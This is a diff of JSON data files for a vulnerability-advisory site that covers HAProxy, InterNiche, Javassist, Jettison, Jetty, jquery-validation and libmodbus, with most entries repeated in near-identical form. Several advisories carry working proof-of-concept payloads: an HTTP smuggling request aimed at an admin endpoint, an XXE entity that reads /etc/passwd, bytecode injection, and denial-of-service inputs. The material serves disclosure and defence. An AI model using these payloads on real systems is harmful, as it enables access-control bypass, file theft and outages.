\nPOST /index.html HTTP/1.1\nHost: abc.com\nContent-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\nContent-Length: 60\n\nGET /admin/add_user.py HTTP/1.1\nHost: abc.com\nabc: xyz\nThe GET request will be smuggled and will evade any ACLs defined in the HAProxy configuration file.
\nVulnerability Mitigations
\nIf you are not able to update right away, you can apply the following rules to your HAProxy configuration file to mitigate the vulnerabilities. These should be added to your frontend.
\nfrontend myfrontend\nhttp-request deny if { req.hdr_cnt(content-length) gt 1 }\nhttp-response deny if { res.hdr_cnt(content-length) gt 1 }\nReferences
\n(JFrog) Critical vulnerability in HAProxy
\n\n","description":"CVE-2021-40346 High severity. An integer overflow in HAProxy leads to HTTP Smuggling via simple network requests","date_published":"2021-07-09","xray_id":"XRAY-184496","vul_id":"CVE-2021-40346","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-07-09","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Integer overflow in HAProxy leads to HTTP Smuggling","path":"/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/","content":"Summary
\nAn integer overflow in HAProxy leads to HTTP Smuggling via simple network requests
\nComponent
\n\nAffected versions
\nHAProxy [2.0 - 2.0.24], fixed in 2.0.25\nHAProxy [2.1 - 2.1*], no fix. unmaintained version\nHAProxy [2.2 - 2.2.16], fixed in 2.2.17\nHAProxy [2.3 - 2.3.13], fixed in 2.3.14\nHAProxy [2.4 - 2.4.3], fixed in 2.4.4\nHAProxy Enterprise [2.0r1 - 2.0r1-1.0.0-234.1215], fixed in 2.0r1-1.0.0-235.1230\nHAProxy Enterprise [2.1r1 - 2.1r1-1.0.0-238.612], fixed in 2.1r1-1.0.0-238.625\nHAProxy Enterprise [2.2r1 - 2.2r1-1.0.0-241.491], fixed in 2.2r1-1.0.0-241.505\nHAProxy Enterprise [2.3r1 - 2.3r1-1.0.0-242.330], fixed in 2.3r1-1.0.0-242.345\nHAProxy Enterprise [2.4r1 - 2.4r1], fixed in 2.4r1-1.0.0-253.271\nHAproxy Kubernetes Ingress Controller [1.6 - 1.6.6], fixed in 1.6.7\nHAproxy Enterprise Kubernetes Ingress Controller [1.6 - 1.6.6], fixed in 1.6.7\nHAProxy ALOHA [11.5 - 11.5.12], fixed in 11.5.13\nHAProxy ALOHA [12.5 - 12.5.4], fixed in 12.5.5\nHAProxy ALOHA [13.0 - 13.0.6], fixed in 13.0.7
\nDescription
\nDue to an integer overflow, a parsing error is created in HAProxy that allows an attacker to specify two Content-Length headers with different sizes. Subsequently, this allows an attacker to perform HTTP smuggling. This attack allows an adversary to smuggle HTTP requests to the backend server, without the proxy server being aware of it. The smuggled requests have various impacts, depending on HAProxy’s configuration and the backend web server configuration: Bypassing security controls, including any ACLs defined in HAProxy, Gaining unauthorized access to sensitive data, Executing unauthorized commands or modifying data, Hijacking user sessions, Exploiting a reflected XSS vulnerability without user interaction.
PoC
\nAny attacker that can send requests through the proxy, can exploit this vulnerability, by sending requests such as:
\nPOST /index.html HTTP/1.1\nHost: abc.com\nContent-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\nContent-Length: 60\n\nGET /admin/add_user.py HTTP/1.1\nHost: abc.com\nabc: xyz\nThe GET request will be smuggled and will evade any ACLs defined in the HAProxy configuration file.
\nVulnerability Mitigations
\nIf you are not able to update right away, you can apply the following rules to your HAProxy configuration file to mitigate the vulnerabilities. These should be added to your frontend.
\nfrontend myfrontend\nhttp-request deny if { req.hdr_cnt(content-length) gt 1 }\nhttp-response deny if { res.hdr_cnt(content-length) gt 1 }\nReferences
\n(JFrog) Critical vulnerability in HAProxy
\n\n","description":"CVE-2021-40346 High severity. An integer overflow in HAProxy leads to HTTP Smuggling via simple network requests","date_published":"2021-07-09","xray_id":"XRAY-184496","vul_id":"CVE-2021-40346","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-07-09","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/index.json b/assets/data/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/index.json index eb7e6abce5..0492856daf 100644 --- a/assets/data/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/index.json +++ b/assets/data/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"InterNiche DNS client heap overflow","path":"/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/","content":"Summary
\nHeap overflow in InterNiche TCP/IP stack's DNS client leads to remote code execution when sending a crafted DNS response
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack (also known as InterNiche stack) is a proprietary TCP/IP stack developed originally by InterNiche Technologies and acquired by HCC Embedded in 2016. A heap-based buffer overflow was discovered when the NicheStack DNS client parses DNS response packets. To trigger CVE-2020-25928, an attacker sends a crafted DNS packet as a response to a DNS query from the vulnerable device. A response with a big \"response data length\" field will cause a heap overflow due to a fixed-size heap buffer copy. This is easy to achieve because the DNS TXID and UDP source port can be guessed due to CVE-2020-25926 and CVE-2021-31228, respectively, and the affected DNS client implementation does not validate the source IP address of the response packet (so the attacker does not even need to know the address of the real DNS server). Note that the DNS client is optional, and may be disabled or compiled-out entirely.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25928 Critical severity. Heap overflow in InterNiche TCP/IP stack's DNS client leads to remote code execution when sending a crafted DNS response","date_published":"2021-08-04","xray_id":"XRAY-194045","vul_id":"CVE-2020-25928","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"InterNiche DNS client heap overflow","path":"/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/","content":"Summary
\nHeap overflow in InterNiche TCP/IP stack's DNS client leads to remote code execution when sending a crafted DNS response
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack (also known as InterNiche stack) is a proprietary TCP/IP stack developed originally by InterNiche Technologies and acquired by HCC Embedded in 2016. A heap-based buffer overflow was discovered when the NicheStack DNS client parses DNS response packets. To trigger CVE-2020-25928, an attacker sends a crafted DNS packet as a response to a DNS query from the vulnerable device. A response with a big \"response data length\" field will cause a heap overflow due to a fixed-size heap buffer copy. This is easy to achieve because the DNS TXID and UDP source port can be guessed due to CVE-2020-25926 and CVE-2021-31228, respectively, and the affected DNS client implementation does not validate the source IP address of the response packet (so the attacker does not even need to know the address of the real DNS server). Note that the DNS client is optional, and may be disabled or compiled-out entirely.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25928 Critical severity. Heap overflow in InterNiche TCP/IP stack's DNS client leads to remote code execution when sending a crafted DNS response","date_published":"2021-08-04","xray_id":"XRAY-194045","vul_id":"CVE-2020-25928","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/index.json b/assets/data/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/index.json index da7338d9be..fffda917ee 100644 --- a/assets/data/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/index.json +++ b/assets/data/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"InterNiche HTTP server heap overflow","path":"/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/","content":"Summary
\nHeap overflow in InterNiche TCP/IP stack's HTTP server leads to remote code execution when sending a crafted HTTP POST request
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack (also known as InterNiche stack) is a proprietary TCP/IP stack developed originally by InterNiche Technologies and acquired by HCC Embedded in 2016. A heap-based buffer overflow was discovered when the NicheStack HTTP server parses HTTP POST packets. CVE-2021-31226 occurs during the parsing of the HTTP Request URI field in the function ht_readmsg. After making sure the packet has a valid Content-Length header value, the parsing logic gets the pointer to the request URI (requri) by calling ht_nextarg on the HTTP request’s buffer and stores this pointer in the header_struct->fi->requri. A request URI string larger than 52 bytes will overflow into the fixed-size heap buffer via a vulnerable strcpy call. Note that the HTTP server is optional, and may be disabled or compiled-out entirely.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack HTTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31226 Critical severity. Heap overflow in InterNiche TCP/IP stack's HTTP server leads to remote code execution when sending a crafted HTTP POST request","date_published":"2021-08-04","xray_id":"XRAY-194046","vul_id":"CVE-2021-31226","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"InterNiche HTTP server heap overflow","path":"/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/","content":"Summary
\nHeap overflow in InterNiche TCP/IP stack's HTTP server leads to remote code execution when sending a crafted HTTP POST request
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack (also known as InterNiche stack) is a proprietary TCP/IP stack developed originally by InterNiche Technologies and acquired by HCC Embedded in 2016. A heap-based buffer overflow was discovered when the NicheStack HTTP server parses HTTP POST packets. CVE-2021-31226 occurs during the parsing of the HTTP Request URI field in the function ht_readmsg. After making sure the packet has a valid Content-Length header value, the parsing logic gets the pointer to the request URI (requri) by calling ht_nextarg on the HTTP request’s buffer and stores this pointer in the header_struct->fi->requri. A request URI string larger than 52 bytes will overflow into the fixed-size heap buffer via a vulnerable strcpy call. Note that the HTTP server is optional, and may be disabled or compiled-out entirely.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack HTTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31226 Critical severity. Heap overflow in InterNiche TCP/IP stack's HTTP server leads to remote code execution when sending a crafted HTTP POST request","date_published":"2021-08-04","xray_id":"XRAY-194046","vul_id":"CVE-2021-31226","severity":"critical","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/javassist-lce/index.json b/assets/data/vulnerabilities/javassist-lce/index.json index 3a50862f8d..011f4fb9c5 100644 --- a/assets/data/vulnerabilities/javassist-lce/index.json +++ b/assets/data/vulnerabilities/javassist-lce/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Javassist local code execution","path":"/vulnerabilities/javassist-lce/","content":"Summary
\nInteger truncation in Javassist leads to local code execution
\nComponent
\n\nAffected versions
\nJavassist (,3.29.1)
\nDescription
\nThe issue lies in the write() function of the ConstPool object. When writing the ConstPool into a class file, the length field is written as a short integer, but the numOfItems Variable is not checked to see if it is bigger than the maximum value of short (65535). If we try to write a class file with a ConstPool bigger than 65535, the elements from position 65535 onwards wouldn’t be considered as part of the ConstPool, and will be interpreted as arbitrary bytecode. An attacker that can insert arbitrary integers into a classfile, could use this to insert malicious bytecode to the class, for example a constructor which will cause code execution when the class file is loaded
\nPoC
\nimport javassist.NotFoundException; \nimport javassist.bytecode.ClassFile; \nimport javassist.bytecode.ConstPool; \nimport java.io.DataOutputStream; \nimport java.io.File;\n\nimport java.io.FileOutputStream; \nimport java.io.IOException; \npublic class JavassistIntTruncationExample \n{ \n public static void main(String argv[]) throws IOException, NotFoundException { \n File yourFile = new File(\"malicious.class\"); \n yourFile.createNewFile(); \n FileOutputStream oFile = new FileOutputStream(yourFile, false); DataOutputStream stream = new DataOutputStream(oFile); \n ClassFile clazz_file_before_write = new \n ClassFile(false,\"test\",null); \n ConstPool pool_before_write = \n clazz_file_before_write.getConstPool(); \n // Adding enough ints to cause integer truncation \n for(int i = 0; i< 65527; i++) { \n pool_before_write.addIntegerInfo(0xcafebabe); \n } \n // BUG: This integer will be added as arbitrary bytecode! \n pool_before_write.addIntegerInfo(0xdeadbeef); \n System.out.println(\"Constpool size\" + pool_before_write.getSize()); clazz_file_before_write.write(stream); \n } \n} \nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"Low severity. Integer truncation in Javassist leads to local code execution","date_published":"2022-08-11","xray_id":"","vul_id":"","severity":"low","discovered_by":"Omer Kaspi","last_updated":"2022-08-11","cvss":6.4}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Javassist local code execution","path":"/vulnerabilities/javassist-lce/","content":"Summary
\nInteger truncation in Javassist leads to local code execution
\nComponent
\n\nAffected versions
\nJavassist (,3.29.1)
\nDescription
\nThe issue lies in the write() function of the ConstPool object. When writing the ConstPool into a class file, the length field is written as a short integer, but the numOfItems Variable is not checked to see if it is bigger than the maximum value of short (65535). If we try to write a class file with a ConstPool bigger than 65535, the elements from position 65535 onwards wouldn’t be considered as part of the ConstPool, and will be interpreted as arbitrary bytecode. An attacker that can insert arbitrary integers into a classfile, could use this to insert malicious bytecode to the class, for example a constructor which will cause code execution when the class file is loaded
\nPoC
\nimport javassist.NotFoundException; \nimport javassist.bytecode.ClassFile; \nimport javassist.bytecode.ConstPool; \nimport java.io.DataOutputStream; \nimport java.io.File;\n\nimport java.io.FileOutputStream; \nimport java.io.IOException; \npublic class JavassistIntTruncationExample \n{ \n public static void main(String argv[]) throws IOException, NotFoundException { \n File yourFile = new File(\"malicious.class\"); \n yourFile.createNewFile(); \n FileOutputStream oFile = new FileOutputStream(yourFile, false); DataOutputStream stream = new DataOutputStream(oFile); \n ClassFile clazz_file_before_write = new \n ClassFile(false,\"test\",null); \n ConstPool pool_before_write = \n clazz_file_before_write.getConstPool(); \n // Adding enough ints to cause integer truncation \n for(int i = 0; i< 65527; i++) { \n pool_before_write.addIntegerInfo(0xcafebabe); \n } \n // BUG: This integer will be added as arbitrary bytecode! \n pool_before_write.addIntegerInfo(0xdeadbeef); \n System.out.println(\"Constpool size\" + pool_before_write.getSize()); clazz_file_before_write.write(stream); \n } \n} \nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"Low severity. Integer truncation in Javassist leads to local code execution","date_published":"2022-08-11","xray_id":"","vul_id":"","severity":"low","discovered_by":"Omer Kaspi","last_updated":"2022-08-11","cvss":6.4}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/jettison-json-array-dos-xray-427911/index.json b/assets/data/vulnerabilities/jettison-json-array-dos-xray-427911/index.json index b06b9a75a8..6fc3ca81e1 100644 --- a/assets/data/vulnerabilities/jettison-json-array-dos-xray-427911/index.json +++ b/assets/data/vulnerabilities/jettison-json-array-dos-xray-427911/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Jettison JSONArray DoS","path":"/vulnerabilities/jettison-json-array-dos-xray-427911/","content":"Summary
\nInfinite recursion in Jettison leads to denial of service when creating a crafted JSONArray
\nComponent
\norg.codehaus.jettison:jettison
\nAffected versions
\n(,1.5.4)
\nDescription
\nAn infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown.
\nPoC
\npublic class POC {\n public static void main(String[] args) throws JSONException {\n ArrayList<Object> list = new ArrayList<>();\n list.add(list);\n JSONArray jsonArray = new JSONArray(list);\n }\n}\nVulnerability Mitigations
\nWrap Jettison's JSONArray constructor with exception handling -
try {\n JSONArray jsonArray = new JSONArray(list);\n}\ncatch(StackOverflowError e) {\n System.err.println(\"ERROR: Stack limit reached\");\n}\nReferences
\nNo references are supplied for this issue
\n","description":"CVE-2023-1436 Medium severity. Infinite recursion in Jettison leads to denial of service when creating a crafted JSONArray","date_published":"2023-03-16","xray_id":"XRAY-427911","vul_id":"CVE-2023-1436","severity":"medium","discovered_by":"Nitay Meiron","last_updated":"2023-03-16","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Jettison JSONArray DoS","path":"/vulnerabilities/jettison-json-array-dos-xray-427911/","content":"Summary
\nInfinite recursion in Jettison leads to denial of service when creating a crafted JSONArray
\nComponent
\norg.codehaus.jettison:jettison
\nAffected versions
\n(,1.5.4)
\nDescription
\nAn infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown.
\nPoC
\npublic class POC {\n public static void main(String[] args) throws JSONException {\n ArrayList<Object> list = new ArrayList<>();\n list.add(list);\n JSONArray jsonArray = new JSONArray(list);\n }\n}\nVulnerability Mitigations
\nWrap Jettison's JSONArray constructor with exception handling -
try {\n JSONArray jsonArray = new JSONArray(list);\n}\ncatch(StackOverflowError e) {\n System.err.println(\"ERROR: Stack limit reached\");\n}\nReferences
\nNo references are supplied for this issue
\n","description":"CVE-2023-1436 Medium severity. Infinite recursion in Jettison leads to denial of service when creating a crafted JSONArray","date_published":"2023-03-16","xray_id":"XRAY-427911","vul_id":"CVE-2023-1436","severity":"medium","discovered_by":"Nitay Meiron","last_updated":"2023-03-16","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/jetty-xml-parser-xxe-xray-523189/index.json b/assets/data/vulnerabilities/jetty-xml-parser-xxe-xray-523189/index.json index 34851243cf..a4a3672c3a 100644 --- a/assets/data/vulnerabilities/jetty-xml-parser-xxe-xray-523189/index.json +++ b/assets/data/vulnerabilities/jetty-xml-parser-xxe-xray-523189/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Jetty XmlParser XXE","path":"/vulnerabilities/jetty-xml-parser-xxe-xray-523189/","content":"Summary
\nJetty XmlParser is vulnerable to XML external entity (XXE) vulnerability
\nComponent
\norg.eclipse.jetty:xml
\nAffected versions
\n(,) Currently no fixed version
\nDescription
\nXmlParser is vulnerable to XML external entity (XXE) vulnerability.\nXmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit\nthis vulnerability in order to achieve SSRF or cause a denial of service.\nOne possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the\nWAR includes a malicious web.xml.
\nThis is not considered a vulnerability of the Jetty server itself, as any such usage of the Jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser.
\nHowever, any direct usage of the XmlParser class by an application may be vulnerable. The impact would greatly depend on how the application uses XmlParser, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely.
PoC
\npackage com.example;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport org.eclipse.jetty.xml.XmlParser;\nimport org.eclipse.jetty.xml.XmlParser.Node;\nimport org.xml.sax.SAXException;\n\npublic class App \n{\n public static void main( String[] args )\n {\n XmlParser xmlParser = new XmlParser(true);\n String xmlContent = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \\\"file:///etc/passwd/\\\" >]><foo>&xxe;</foo>\";\n InputStream targetStream = new ByteArrayInputStream(xmlContent.getBytes());\n try {\n Node node = xmlParser.parse(targetStream);\n System.out.println(node.toString());\n } catch (IOException e) {\n e.printStackTrace();\n } catch (SAXException e) {\n System.out.println(e.getMessage());\n e.printStackTrace();\n }\n }\n}\nReferences
\nhttps://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh
\nhttps://github.com/eclipse/jetty.project/pull/10067
\n","description":"XRAY-523189, MEDIUM, Jetty XmlParser XXE","date_published":"2023-07-12","xray_id":"XRAY-523189","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-12","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Jetty XmlParser XXE","path":"/vulnerabilities/jetty-xml-parser-xxe-xray-523189/","content":"Summary
\nJetty XmlParser is vulnerable to XML external entity (XXE) vulnerability
\nComponent
\norg.eclipse.jetty:xml
\nAffected versions
\n(,) Currently no fixed version
\nDescription
\nXmlParser is vulnerable to XML external entity (XXE) vulnerability.\nXmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit\nthis vulnerability in order to achieve SSRF or cause a denial of service.\nOne possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the\nWAR includes a malicious web.xml.
\nThis is not considered a vulnerability of the Jetty server itself, as any such usage of the Jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser.
\nHowever, any direct usage of the XmlParser class by an application may be vulnerable. The impact would greatly depend on how the application uses XmlParser, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely.
PoC
\npackage com.example;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport org.eclipse.jetty.xml.XmlParser;\nimport org.eclipse.jetty.xml.XmlParser.Node;\nimport org.xml.sax.SAXException;\n\npublic class App \n{\n public static void main( String[] args )\n {\n XmlParser xmlParser = new XmlParser(true);\n String xmlContent = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \\\"file:///etc/passwd/\\\" >]><foo>&xxe;</foo>\";\n InputStream targetStream = new ByteArrayInputStream(xmlContent.getBytes());\n try {\n Node node = xmlParser.parse(targetStream);\n System.out.println(node.toString());\n } catch (IOException e) {\n e.printStackTrace();\n } catch (SAXException e) {\n System.out.println(e.getMessage());\n e.printStackTrace();\n }\n }\n}\nReferences
\nhttps://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh
\nhttps://github.com/eclipse/jetty.project/pull/10067
\n","description":"XRAY-523189, MEDIUM, Jetty XmlParser XXE","date_published":"2023-07-12","xray_id":"XRAY-523189","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-12","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/jquery-validation-redos-xray-211348/index.json b/assets/data/vulnerabilities/jquery-validation-redos-xray-211348/index.json index 50b4d9cae1..e6fc380128 100644 --- a/assets/data/vulnerabilities/jquery-validation-redos-xray-211348/index.json +++ b/assets/data/vulnerabilities/jquery-validation-redos-xray-211348/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"jquery-validation ReDoS","path":"/vulnerabilities/jquery-validation-redos-xray-211348/","content":"Summary
\nExponential ReDoS in jquery-validation leads to denial of service
\nComponent
\n\nAffected versions
\njquery-validation (,1.19.3], fixed in 1.19.4
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the jquery-validation npm package, when an attacker is able to supply arbitrary input to the url2 method
PoC
\n'[FTP://0](ftp://0.0.0.0/).' + '3.3.'.repeat(10) + '\\x00'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43306 Medium severity. Exponential ReDoS in jquery-validation leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211348","vul_id":"CVE-2021-43306","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"jquery-validation ReDoS","path":"/vulnerabilities/jquery-validation-redos-xray-211348/","content":"Summary
\nExponential ReDoS in jquery-validation leads to denial of service
\nComponent
\n\nAffected versions
\njquery-validation (,1.19.3], fixed in 1.19.4
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the jquery-validation npm package, when an attacker is able to supply arbitrary input to the url2 method
PoC
\n'[FTP://0](ftp://0.0.0.0/).' + '3.3.'.repeat(10) + '\\x00'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43306 Medium severity. Exponential ReDoS in jquery-validation leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211348","vul_id":"CVE-2021-43306","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/index.json b/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/index.json index 90e2ac808f..d9ce174faf 100644 --- a/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/index.json +++ b/assets/data/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"libmodbus MODBUS_FC_WRITE_MULTIPLE_COILS OOB-R","path":"/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/","content":"Summary
\nInsufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.
\nComponent
\n\nAffected versions
\nlibmodbus [3.0.0,3.0.7), fixed on 3.0.7
\nlibmodbus [3.1.0,3.1.5), fixed on 3.1.5
\nDescription
\nlibmodbus is a C library that provides an implementation of the Modbus protocol. It runs on Linux, Windows, FreeBSD, OS X, and QNX, and it is widely used in embedded devices.
\nAttackers can trigger the exploit by invoking the modbus_write_bits(3) function (which implements the Modbus Write Multiple Coils protocol call) while specifying a large number of coils to be written. Since the code takes this parameter from the network packet without checking it for validity against the length of the provided payload, the attackers can specify a large enough number to cause memory overwrites. Memory contents directly following the payload will be saved to Modbus coils. These contents can be later read out using the modbus_read_bits() function. This results in a memory exfiltration vulnerability, exposing arbitrary memory contents.
\nThe attacker must be on the same network segment as the target device, limiting the potential for this attack.
\nThe library implementation of the modbus_reply() function of module src/modbus.c module does not properly check that the number of registers/coils to be written corresponds to the size of the provided payload data.
The original exploit was developed by JFrog researches, using smart fuzzing on the library compiled separately from the rest of the code. There is another CVE (CVE-2019-14463) for this library, for the modbus_write_registers function.
The official solution fixes the bug by adding code to check for the correspondence between the number of the registers/coils to be written and the data provided in the payload.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2019-14462 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.","date_published":"2019-07-31","xray_id":"XRAY-150047","vul_id":"CVE-2019-14462","severity":"critical","discovered_by":"Maor Vermucht","last_updated":"2019-07-31","cvss":9.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"libmodbus MODBUS_FC_WRITE_MULTIPLE_COILS OOB-R","path":"/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/","content":"Summary
\nInsufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.
\nComponent
\n\nAffected versions
\nlibmodbus [3.0.0,3.0.7), fixed on 3.0.7
\nlibmodbus [3.1.0,3.1.5), fixed on 3.1.5
\nDescription
\nlibmodbus is a C library that provides an implementation of the Modbus protocol. It runs on Linux, Windows, FreeBSD, OS X, and QNX, and it is widely used in embedded devices.
\nAttackers can trigger the exploit by invoking the modbus_write_bits(3) function (which implements the Modbus Write Multiple Coils protocol call) while specifying a large number of coils to be written. Since the code takes this parameter from the network packet without checking it for validity against the length of the provided payload, the attackers can specify a large enough number to cause memory overwrites. Memory contents directly following the payload will be saved to Modbus coils. These contents can be later read out using the modbus_read_bits() function. This results in a memory exfiltration vulnerability, exposing arbitrary memory contents.
\nThe attacker must be on the same network segment as the target device, limiting the potential for this attack.
